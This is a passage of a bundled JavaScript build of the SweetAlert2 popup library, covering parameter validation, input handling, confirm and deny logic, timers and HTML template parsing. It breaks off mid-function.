  2855. progressStepsDistance: void 0,
  2856. willOpen: void 0,
  2857. didOpen: void 0,
  2858. didRender: void 0,
  2859. willClose: void 0,
  2860. didClose: void 0,
  2861. didDestroy: void 0,
  2862. scrollbarPadding: true
  2863. };
  2864. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2865. const deprecatedParams = {};
  2866. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2867. const isValidParameter = (paramName) => {
  2868. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2869. };
  2870. const isUpdatableParameter = (paramName) => {
  2871. return updatableParams.indexOf(paramName) !== -1;
  2872. };
  2873. const isDeprecatedParameter = (paramName) => {
  2874. return deprecatedParams[paramName];
  2875. };
  2876. const checkIfParamIsValid = (param) => {
  2877. if (!isValidParameter(param)) {
  2878. warn(`Unknown parameter "${param}"`);
  2879. }
  2880. };
  2881. const checkIfToastParamIsValid = (param) => {
  2882. if (toastIncompatibleParams.includes(param)) {
  2883. warn(`The parameter "${param}" is incompatible with toasts`);
  2884. }
  2885. };
  2886. const checkIfParamIsDeprecated = (param) => {
  2887. if (isDeprecatedParameter(param)) {
  2888. warnAboutDeprecation(param, isDeprecatedParameter(param));
  2889. }
  2890. };
  2891. const showWarningsForParams = (params) => {
  2892. if (params.backdrop === false && params.allowOutsideClick) {
  2893. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2894. }
  2895. for (const param in params) {
  2896. checkIfParamIsValid(param);
  2897. if (params.toast) {
  2898. checkIfToastParamIsValid(param);
  2899. }
  2900. checkIfParamIsDeprecated(param);
  2901. }
  2902. };
  2903. function update(params) {
  2904. const popup = getPopup();
  2905. const innerParams = privateProps.innerParams.get(this);
  2906. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2907. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2908. return;
  2909. }
  2910. const validUpdatableParams = filterValidParams(params);
  2911. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2912. render(this, updatedParams);
  2913. privateProps.innerParams.set(this, updatedParams);
  2914. Object.defineProperties(this, {
  2915. params: {
  2916. value: Object.assign({}, this.params, params),
  2917. writable: false,
  2918. enumerable: true
  2919. }
  2920. });
  2921. }
  2922. const filterValidParams = (params) => {
  2923. const validUpdatableParams = {};
  2924. Object.keys(params).forEach((param) => {
  2925. if (isUpdatableParameter(param)) {
  2926. validUpdatableParams[param] = params[param];
  2927. } else {
  2928. warn(`Invalid parameter to update: ${param}`);
  2929. }
  2930. });
  2931. return validUpdatableParams;
  2932. };
  2933. function _destroy() {
  2934. const domCache = privateProps.domCache.get(this);
  2935. const innerParams = privateProps.innerParams.get(this);
  2936. if (!innerParams) {
  2937. disposeWeakMaps(this);
  2938. return;
  2939. }
  2940. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2941. globalState.swalCloseEventFinishedCallback();
  2942. delete globalState.swalCloseEventFinishedCallback;
  2943. }
  2944. if (typeof innerParams.didDestroy === "function") {
  2945. innerParams.didDestroy();
  2946. }
  2947. disposeSwal(this);
  2948. }
  2949. const disposeSwal = (instance) => {
  2950. disposeWeakMaps(instance);
  2951. delete instance.params;
  2952. delete globalState.keydownHandler;
  2953. delete globalState.keydownTarget;
  2954. delete globalState.currentInstance;
  2955. };
  2956. const disposeWeakMaps = (instance) => {
  2957. if (instance.isAwaitingPromise()) {
  2958. unsetWeakMaps(privateProps, instance);
  2959. privateProps.awaitingPromise.set(instance, true);
  2960. } else {
  2961. unsetWeakMaps(privateMethods, instance);
  2962. unsetWeakMaps(privateProps, instance);
  2963. }
  2964. };
  2965. const unsetWeakMaps = (obj, instance) => {
  2966. for (const i in obj) {
  2967. obj[i].delete(instance);
  2968. }
  2969. };
  2970. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2971. __proto__: null,
  2972. hideLoading,
  2973. disableLoading: hideLoading,
  2974. getInput,
  2975. close,
  2976. isAwaitingPromise,
  2977. rejectPromise,
  2978. handleAwaitingPromise,
  2979. closePopup: close,
  2980. closeModal: close,
  2981. closeToast: close,
  2982. enableButtons,
  2983. disableButtons,
  2984. enableInput,
  2985. disableInput,
  2986. showValidationMessage,
  2987. resetValidationMessage,
  2988. update,
  2989. _destroy
  2990. });
  2991. const showLoading = (buttonToReplace) => {
  2992. let popup = getPopup();
  2993. if (!popup) {
  2994. new Swal2();
  2995. }
  2996. popup = getPopup();
  2997. const loader = getLoader();
  2998. if (isToast()) {
  2999. hide(getIcon());
  3000. } else {
  3001. replaceButton(popup, buttonToReplace);
  3002. }
  3003. show(loader);
  3004. popup.setAttribute("data-loading", "true");
  3005. popup.setAttribute("aria-busy", "true");
  3006. popup.focus();
  3007. };
  3008. const replaceButton = (popup, buttonToReplace) => {
  3009. const actions = getActions();
  3010. const loader = getLoader();
  3011. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  3012. buttonToReplace = getConfirmButton();
  3013. }
  3014. show(actions);
  3015. if (buttonToReplace) {
  3016. hide(buttonToReplace);
  3017. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  3018. }
  3019. loader.parentNode.insertBefore(loader, buttonToReplace);
  3020. addClass([popup, actions], swalClasses.loading);
  3021. };
  3022. const handleInputOptionsAndValue = (instance, params) => {
  3023. if (params.input === "select" || params.input === "radio") {
  3024. handleInputOptions(instance, params);
  3025. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  3026. showLoading(getConfirmButton());
  3027. handleInputValue(instance, params);
  3028. }
  3029. };
  3030. const getInputValue = (instance, innerParams) => {
  3031. const input = instance.getInput();
  3032. if (!input) {
  3033. return null;
  3034. }
  3035. switch (innerParams.input) {
  3036. case "checkbox":
  3037. return getCheckboxValue(input);
  3038. case "radio":
  3039. return getRadioValue(input);
  3040. case "file":
  3041. return getFileValue(input);
  3042. default:
  3043. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  3044. }
  3045. };
  3046. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  3047. const getRadioValue = (input) => input.checked ? input.value : null;
  3048. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  3049. const handleInputOptions = (instance, params) => {
  3050. const popup = getPopup();
  3051. const processInputOptions = (inputOptions) => {
  3052. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  3053. };
  3054. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  3055. showLoading(getConfirmButton());
  3056. asPromise(params.inputOptions).then((inputOptions) => {
  3057. instance.hideLoading();
  3058. processInputOptions(inputOptions);
  3059. });
  3060. } else if (typeof params.inputOptions === "object") {
  3061. processInputOptions(params.inputOptions);
  3062. } else {
  3063. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  3064. }
  3065. };
  3066. const handleInputValue = (instance, params) => {
  3067. const input = instance.getInput();
  3068. hide(input);
  3069. asPromise(params.inputValue).then((inputValue) => {
  3070. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  3071. show(input);
  3072. input.focus();
  3073. instance.hideLoading();
  3074. }).catch((err) => {
  3075. error(`Error in inputValue promise: ${err}`);
  3076. input.value = "";
  3077. show(input);
  3078. input.focus();
  3079. instance.hideLoading();
  3080. });
  3081. };
  3082. const populateInputOptions = {
  3083. select: (popup, inputOptions, params) => {
  3084. const select = getDirectChildByClass(popup, swalClasses.select);
  3085. const renderOption = (parent, optionLabel, optionValue) => {
  3086. const option = document.createElement("option");
  3087. option.value = optionValue;
  3088. setInnerHtml(option, optionLabel);
  3089. option.selected = isSelected(optionValue, params.inputValue);
  3090. parent.appendChild(option);
  3091. };
  3092. inputOptions.forEach((inputOption) => {
  3093. const optionValue = inputOption[0];
  3094. const optionLabel = inputOption[1];
  3095. if (Array.isArray(optionLabel)) {
  3096. const optgroup = document.createElement("optgroup");
  3097. optgroup.label = optionValue;
  3098. optgroup.disabled = false;
  3099. select.appendChild(optgroup);
  3100. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  3101. } else {
  3102. renderOption(select, optionLabel, optionValue);
  3103. }
  3104. });
  3105. select.focus();
  3106. },
  3107. radio: (popup, inputOptions, params) => {
  3108. const radio = getDirectChildByClass(popup, swalClasses.radio);
  3109. inputOptions.forEach((inputOption) => {
  3110. const radioValue = inputOption[0];
  3111. const radioLabel = inputOption[1];
  3112. const radioInput = document.createElement("input");
  3113. const radioLabelElement = document.createElement("label");
  3114. radioInput.type = "radio";
  3115. radioInput.name = swalClasses.radio;
  3116. radioInput.value = radioValue;
  3117. if (isSelected(radioValue, params.inputValue)) {
  3118. radioInput.checked = true;
  3119. }
  3120. const label = document.createElement("span");
  3121. setInnerHtml(label, radioLabel);
  3122. label.className = swalClasses.label;
  3123. radioLabelElement.appendChild(radioInput);
  3124. radioLabelElement.appendChild(label);
  3125. radio.appendChild(radioLabelElement);
  3126. });
  3127. const radios = radio.querySelectorAll("input");
  3128. if (radios.length) {
  3129. radios[0].focus();
  3130. }
  3131. }
  3132. };
  3133. const formatInputOptions = (inputOptions) => {
  3134. const result = [];
  3135. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  3136. inputOptions.forEach((value, key) => {
  3137. let valueFormatted = value;
  3138. if (typeof valueFormatted === "object") {
  3139. valueFormatted = formatInputOptions(valueFormatted);
  3140. }
  3141. result.push([key, valueFormatted]);
  3142. });
  3143. } else {
  3144. Object.keys(inputOptions).forEach((key) => {
  3145. let valueFormatted = inputOptions[key];
  3146. if (typeof valueFormatted === "object") {
  3147. valueFormatted = formatInputOptions(valueFormatted);
  3148. }
  3149. result.push([key, valueFormatted]);
  3150. });
  3151. }
  3152. return result;
  3153. };
  3154. const isSelected = (optionValue, inputValue) => {
  3155. return inputValue && inputValue.toString() === optionValue.toString();
  3156. };
  3157. const handleConfirmButtonClick = (instance) => {
  3158. const innerParams = privateProps.innerParams.get(instance);
  3159. instance.disableButtons();
  3160. if (innerParams.input) {
  3161. handleConfirmOrDenyWithInput(instance, "confirm");
  3162. } else {
  3163. confirm(instance, true);
  3164. }
  3165. };
  3166. const handleDenyButtonClick = (instance) => {
  3167. const innerParams = privateProps.innerParams.get(instance);
  3168. instance.disableButtons();
  3169. if (innerParams.returnInputValueOnDeny) {
  3170. handleConfirmOrDenyWithInput(instance, "deny");
  3171. } else {
  3172. deny(instance, false);
  3173. }
  3174. };
  3175. const handleCancelButtonClick = (instance, dismissWith) => {
  3176. instance.disableButtons();
  3177. dismissWith(DismissReason.cancel);
  3178. };
  3179. const handleConfirmOrDenyWithInput = (instance, type) => {
  3180. const innerParams = privateProps.innerParams.get(instance);
  3181. if (!innerParams.input) {
  3182. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  3183. return;
  3184. }
  3185. const inputValue = getInputValue(instance, innerParams);
  3186. if (innerParams.inputValidator) {
  3187. handleInputValidator(instance, inputValue, type);
  3188. } else if (!instance.getInput().checkValidity()) {
  3189. instance.enableButtons();
  3190. instance.showValidationMessage(innerParams.validationMessage);
  3191. } else if (type === "deny") {
  3192. deny(instance, inputValue);
  3193. } else {
  3194. confirm(instance, inputValue);
  3195. }
  3196. };
  3197. const handleInputValidator = (instance, inputValue, type) => {
  3198. const innerParams = privateProps.innerParams.get(instance);
  3199. instance.disableInput();
  3200. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  3201. validationPromise.then((validationMessage) => {
  3202. instance.enableButtons();
  3203. instance.enableInput();
  3204. if (validationMessage) {
  3205. instance.showValidationMessage(validationMessage);
  3206. } else if (type === "deny") {
  3207. deny(instance, inputValue);
  3208. } else {
  3209. confirm(instance, inputValue);
  3210. }
  3211. });
  3212. };
  3213. const deny = (instance, value) => {
  3214. const innerParams = privateProps.innerParams.get(instance || void 0);
  3215. if (innerParams.showLoaderOnDeny) {
  3216. showLoading(getDenyButton());
  3217. }
  3218. if (innerParams.preDeny) {
  3219. privateProps.awaitingPromise.set(instance || void 0, true);
  3220. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  3221. preDenyPromise.then((preDenyValue) => {
  3222. if (preDenyValue === false) {
  3223. instance.hideLoading();
  3224. handleAwaitingPromise(instance);
  3225. } else {
  3226. instance.close({
  3227. isDenied: true,
  3228. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  3229. });
  3230. }
  3231. }).catch((error2) => rejectWith(instance || void 0, error2));
  3232. } else {
  3233. instance.close({
  3234. isDenied: true,
  3235. value
  3236. });
  3237. }
  3238. };
  3239. const succeedWith = (instance, value) => {
  3240. instance.close({
  3241. isConfirmed: true,
  3242. value
  3243. });
  3244. };
  3245. const rejectWith = (instance, error2) => {
  3246. instance.rejectPromise(error2);
  3247. };
  3248. const confirm = (instance, value) => {
  3249. const innerParams = privateProps.innerParams.get(instance || void 0);
  3250. if (innerParams.showLoaderOnConfirm) {
  3251. showLoading();
  3252. }
  3253. if (innerParams.preConfirm) {
  3254. instance.resetValidationMessage();
  3255. privateProps.awaitingPromise.set(instance || void 0, true);
  3256. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  3257. preConfirmPromise.then((preConfirmValue) => {
  3258. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  3259. instance.hideLoading();
  3260. handleAwaitingPromise(instance);
  3261. } else {
  3262. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  3263. }
  3264. }).catch((error2) => rejectWith(instance || void 0, error2));
  3265. } else {
  3266. succeedWith(instance, value);
  3267. }
  3268. };
  3269. const handlePopupClick = (instance, domCache, dismissWith) => {
  3270. const innerParams = privateProps.innerParams.get(instance);
  3271. if (innerParams.toast) {
  3272. handleToastClick(instance, domCache, dismissWith);
  3273. } else {
  3274. handleModalMousedown(domCache);
  3275. handleContainerMousedown(domCache);
  3276. handleModalClick(instance, domCache, dismissWith);
  3277. }
  3278. };
  3279. const handleToastClick = (instance, domCache, dismissWith) => {
  3280. domCache.popup.onclick = () => {
  3281. const innerParams = privateProps.innerParams.get(instance);
  3282. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  3283. return;
  3284. }
  3285. dismissWith(DismissReason.close);
  3286. };
  3287. };
  3288. const isAnyButtonShown = (innerParams) => {
  3289. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  3290. };
  3291. let ignoreOutsideClick = false;
  3292. const handleModalMousedown = (domCache) => {
  3293. domCache.popup.onmousedown = () => {
  3294. domCache.container.onmouseup = function(e) {
  3295. domCache.container.onmouseup = void 0;
  3296. if (e.target === domCache.container) {
  3297. ignoreOutsideClick = true;
  3298. }
  3299. };
  3300. };
  3301. };
  3302. const handleContainerMousedown = (domCache) => {
  3303. domCache.container.onmousedown = () => {
  3304. domCache.popup.onmouseup = function(e) {
  3305. domCache.popup.onmouseup = void 0;
  3306. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  3307. ignoreOutsideClick = true;
  3308. }
  3309. };
  3310. };
  3311. };
  3312. const handleModalClick = (instance, domCache, dismissWith) => {
  3313. domCache.container.onclick = (e) => {
  3314. const innerParams = privateProps.innerParams.get(instance);
  3315. if (ignoreOutsideClick) {
  3316. ignoreOutsideClick = false;
  3317. return;
  3318. }
  3319. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  3320. dismissWith(DismissReason.backdrop);
  3321. }
  3322. };
  3323. };
  3324. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  3325. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  3326. const argsToParams = (args) => {
  3327. const params = {};
  3328. if (typeof args[0] === "object" && !isElement(args[0])) {
  3329. Object.assign(params, args[0]);
  3330. } else {
  3331. ["title", "html", "icon"].forEach((name, index) => {
  3332. const arg = args[index];
  3333. if (typeof arg === "string" || isElement(arg)) {
  3334. params[name] = arg;
  3335. } else if (arg !== void 0) {
  3336. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  3337. }
  3338. });
  3339. }
  3340. return params;
  3341. };
  3342. function fire() {
  3343. const Swal3 = this;
  3344. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3345. args[_key] = arguments[_key];
  3346. }
  3347. return new Swal3(...args);
  3348. }
  3349. function mixin(mixinParams) {
  3350. class MixinSwal extends this {
  3351. _main(params, priorityMixinParams) {
  3352. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  3353. }
  3354. }
  3355. return MixinSwal;
  3356. }
  3357. const getTimerLeft = () => {
  3358. return globalState.timeout && globalState.timeout.getTimerLeft();
  3359. };
  3360. const stopTimer = () => {
  3361. if (globalState.timeout) {
  3362. stopTimerProgressBar();
  3363. return globalState.timeout.stop();
  3364. }
  3365. };
  3366. const resumeTimer = () => {
  3367. if (globalState.timeout) {
  3368. const remaining = globalState.timeout.start();
  3369. animateTimerProgressBar(remaining);
  3370. return remaining;
  3371. }
  3372. };
  3373. const toggleTimer = () => {
  3374. const timer = globalState.timeout;
  3375. return timer && (timer.running ? stopTimer() : resumeTimer());
  3376. };
  3377. const increaseTimer = (n) => {
  3378. if (globalState.timeout) {
  3379. const remaining = globalState.timeout.increase(n);
  3380. animateTimerProgressBar(remaining, true);
  3381. return remaining;
  3382. }
  3383. };
  3384. const isTimerRunning = () => {
  3385. return globalState.timeout && globalState.timeout.isRunning();
  3386. };
  3387. let bodyClickListenerAdded = false;
  3388. const clickHandlers = {};
  3389. function bindClickHandler() {
  3390. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  3391. clickHandlers[attr] = this;
  3392. if (!bodyClickListenerAdded) {
  3393. document.body.addEventListener("click", bodyClickListener);
  3394. bodyClickListenerAdded = true;
  3395. }
  3396. }
  3397. const bodyClickListener = (event) => {
  3398. for (let el = event.target; el && el !== document; el = el.parentNode) {
  3399. for (const attr in clickHandlers) {
  3400. const template = el.getAttribute(attr);
  3401. if (template) {
  3402. clickHandlers[attr].fire({
  3403. template
  3404. });
  3405. return;
  3406. }
  3407. }
  3408. }
  3409. };
  3410. var staticMethods = /* @__PURE__ */ Object.freeze({
  3411. __proto__: null,
  3412. isValidParameter,
  3413. isUpdatableParameter,
  3414. isDeprecatedParameter,
  3415. argsToParams,
  3416. getContainer,
  3417. getPopup,
  3418. getTitle,
  3419. getHtmlContainer,
  3420. getImage,
  3421. getIcon,
  3422. getIconContent,
  3423. getInputLabel,
  3424. getCloseButton,
  3425. getActions,
  3426. getConfirmButton,
  3427. getDenyButton,
  3428. getCancelButton,
  3429. getLoader,
  3430. getFooter,
  3431. getTimerProgressBar,
  3432. getFocusableElements,
  3433. getValidationMessage,
  3434. getProgressSteps,
  3435. isLoading,
  3436. isVisible,
  3437. clickConfirm,
  3438. clickDeny,
  3439. clickCancel,
  3440. fire,
  3441. mixin,
  3442. showLoading,
  3443. enableLoading: showLoading,
  3444. getTimerLeft,
  3445. stopTimer,
  3446. resumeTimer,
  3447. toggleTimer,
  3448. increaseTimer,
  3449. isTimerRunning,
  3450. bindClickHandler
  3451. });
  3452. class Timer {
  3453. constructor(callback, delay) {
  3454. this.callback = callback;
  3455. this.remaining = delay;
  3456. this.running = false;
  3457. this.start();
  3458. }
  3459. start() {
  3460. if (!this.running) {
  3461. this.running = true;
  3462. this.started = new Date();
  3463. this.id = setTimeout(this.callback, this.remaining);
  3464. }
  3465. return this.remaining;
  3466. }
  3467. stop() {
  3468. if (this.running) {
  3469. this.running = false;
  3470. clearTimeout(this.id);
  3471. this.remaining -= new Date().getTime() - this.started.getTime();
  3472. }
  3473. return this.remaining;
  3474. }
  3475. increase(n) {
  3476. const running = this.running;
  3477. if (running) {
  3478. this.stop();
  3479. }
  3480. this.remaining += n;
  3481. if (running) {
  3482. this.start();
  3483. }
  3484. return this.remaining;
  3485. }
  3486. getTimerLeft() {
  3487. if (this.running) {
  3488. this.stop();
  3489. this.start();
  3490. }
  3491. return this.remaining;
  3492. }
  3493. isRunning() {
  3494. return this.running;
  3495. }
  3496. }
  3497. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  3498. const getTemplateParams = (params) => {
  3499. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  3500. if (!template) {
  3501. return {};
  3502. }
  3503. const templateContent = template.content;
  3504. showWarningsForElements(templateContent);
  3505. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  3506. return result;
  3507. };
  3508. const getSwalParams = (templateContent) => {
  3509. const result = {};
  3510. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  3511. swalParams.forEach((param) => {
  3512. showWarningsForAttributes(param, ["name", "value"]);
  3513. const paramName = param.getAttribute("name");
  3514. const value = param.getAttribute("value");
  3515. if (typeof defaultParams[paramName] === "boolean") {
  3516. result[paramName] = value !== "false";
  3517. } else if (typeof defaultParams[paramName] === "object") {
  3518. result[paramName] = JSON.parse(value);
  3519. } else {
  3520. result[paramName] = value;
  3521. }
  3522. });
  3523. return result;
  3524. };
  3525. const getSwalFunctionParams = (templateContent) => {
  3526. const result = {};
  3527. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  3528. swalFunctions.forEach((param) => {
  3529. const paramName = param.getAttribute("name");
  3530. const value = param.getAttribute("value");
  3531. result[paramName] = new Function(`return ${value}`)();
  3532. });
  3533. return result;
  3534. };
  3535. const getSwalButtons = (templateContent) => {
  3536. const result = {};
  3537. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  3538. swalButtons.forEach((button) => {
  3539. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  3540. const type = button.getAttribute("type");
  3541. result[`${type}ButtonText`] = button.innerHTML;
  3542. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  3543. if (button.hasAttribute("color")) {
  3544. result[`${type}ButtonColor`] = button.getAttribute("color");
  3545. }
  3546. if (button.hasAttribute("aria-label")) {
  3547. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  3548. }
  3549. });
  3550. return result;
  3551. };
  3552. const getSwalImage = (templateContent) => {
  3553. const result = {};
  3554. const image = templateContent.querySelector("swal-image");
  3555. if (image) {
  3556. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  3557. if (image.hasAttribute("src")) {
  3558. result.imageUrl = image.getAttribute("src");
  3559. }
  3560. if (image.hasAttribute("width")) {
  3561. result.imageWidth = image.getAttribute("width");
  3562. }
  3563. if (image.hasAttribute("height")) {
  3564. result.imageHeight = image.getAttribute("height");
  3565. }
  3566. if (image.hasAttribute("alt")) {
  3567. result.imageAlt = image.getAttribute("alt");
  3568. }
  3569. }
  3570. return result;
  3571. };
  3572. const getSwalIcon = (templateContent) => {
  3573. const result = {};
  3574. const icon = templateContent.querySelector("swal-icon");
  3575. if (icon) {
  3576. showWarningsForAttributes(icon, ["type", "color"]);
  3577. if (icon.hasAttribute("type")) {
  3578. result.icon = icon.getAttribute("type");
  3579. }
  3580. if (icon.hasAttribute("color")) {
  3581. result.iconColor = icon.getAttribute("color");
  3582. }
  3583. result.iconHtml = icon.innerHTML;
  3584. }
  3585. return result;
  3586. };
  3587. const getSwalInput = (templateContent) => {
  3588. const result = {};
  3589. const input = templateContent.querySelector("swal-input");
  3590. if (input) {
  3591. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  3592. result.input = input.getAttribute("type") || "text";
  3593. if (input.hasAttribute("label")) {
  3594. result.inputLabel = input.getAttribute("label");
  3595. }
  3596. if (input.hasAttribute("placeholder")) {
  3597. result.inputPlaceholder = input.getAttribute("placeholder");
  3598. }
  3599. if (input.hasAttribute("value")) {
  3600. result.inputValue = input.getAttribute("value");
  3601. }
  3602. }
  3603. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  3604. if (inputOptions.length) {
  3605. result.inputOptions = {};
  3606. inputOptions.forEach((option) => {
  3607. showWarningsForAttributes(option, ["value"]);
  3608. const optionValue = option.getAttribute("value");
  3609. const optionName = option.innerHTML;
  3610. result.inputOptions[optionValue] = optionName;
  3611. });
  3612. }
  3613. return result;
  3614. };
  3615. const getSwalStringParams = (templateContent, paramNames) => {
  3616. const result = {};
  3617. for (const i in paramNames) {
  3618. const paramName = paramNames[i];
  3619. const tag = templateContent.querySelector(paramName);
  3620. if (tag) {
  3621. showWarningsForAttributes(tag, []);
  3622. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  3623. }
  3624. }
  3625. return result;
  3626. };
  3627. const showWarningsForElements = (templateContent) => {
  3628. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  3629. Array.from(templateContent.children).forEach((el) => {
  3630. const tagName = el.tagName.toLowerCase();
  3631. if (!allowedElements.includes(tagName)) {
  3632. warn(`Unrecognized element <${tagName}>`);
  3633. }
  3634. });
  3635. };
  3636. const showWarningsForAttributes = (el, allowedAttributes) => {
  3637. Array.from(el.attributes).forEach((attribute) => {
  3638. if (allowedAttributes.indexOf(attribute.name) === -1) {
  3639. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  3640. }
  3641. });
  3642. };
  3643. const SHOW_CLASS_TIMEOUT = 10;
  3644. const openPopup = (params) => {
  3645. const container = getContainer();
  3646. const popup = getPopup();
  3647. if (typeof params.willOpen === "function") {
  3648. params.willOpen(popup);
  3649. }
  3650. const bodyStyles = window.getComputedStyle(document.body);
  3651. const initialBodyOverflow = bodyStyles.overflowY;
  3652. addClasses(container, popup, params);
  3653. setTimeout(() => {
  3654. setScrollingVisibility(container, popup);
  3655. }, SHOW_CLASS_TIMEOUT);
  3656. if (isModal()) {
  3657. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  3658. setAriaHidden();
  3659. }
  3660. if (!isToast() && !globalState.previousActiveElement) {
  3661. globalState.previousActiveElement = document.activeElement;
  3662. }
  3663. if (typeof params.didOpen === "function") {
  3664. setTimeout(() => params.didOpen(popup));
  3665. }
  3666. removeClass(container, swalClasses["no-transition"]);
  3667. };
  3668. const swalOpenAnimationFinished = (event) => {
  3669. const popup = getPopup();
  3670. if (event.target !== popup) {
  3671. return;
  3672. }
  3673. const container = getContainer();
  3674. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  3675. container.style.overflowY = "auto";
  3676. };
  3677. const setScrollingVisibility = (container, popup) => {
  3678. if (animationEndEvent && hasCssAnimation(popup)) {
  3679. container.style.overflowY = "hidden";
  3680. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  3681. } else {
  3682. container.style.overflowY = "auto";
  3683. }
  3684. };
  3685. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  3686. iOSfix();
  3687. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  3688. fixScrollbar();
  3689. }
  3690. setTimeout(() => {
  3691. container.scrollTop = 0;
  3692. });
  3693. };
  3694. const addClasses = (container, popup, params) => {
  3695. addClass(container, params.showClass.backdrop);
  3696. popup.style.setProperty("opacity", "0", "important");
  3697. show(popup, "grid");
  3698. setTimeout(() => {
  3699. addClass(popup, params.showClass.popup);
  3700. popup.style.removeProperty("opacity");
  3701. }, SHOW_CLASS_TIMEOUT);
  3702. addClass([document.documentElement, document.body], swalClasses.shown);
  3703. if (params.heightAuto && params.backdrop && !params.toast) {
  3704. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  3705. }
  3706. };
  3707. var defaultInputValidators = {
  3708. email: (string, validationMessage) => {
  3709. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  3710. },
  3711. url: (string, validationMessage) => {
  3712. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  3713. }
  3714. };
  3715. function setDefaultInputValidators(params) {
  3716. if (!params.inputValidator) {
  3717. Object.keys(defaultInputValidators).forEach((key) => {
  3718. if (params.input === key) {
  3719. params.inputValidator = defaultInputValidators[key];
  3720. }
  3721. });
  3722. }
  3723. }
  3724. function validateCustomTargetElement(params) {
  3725. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
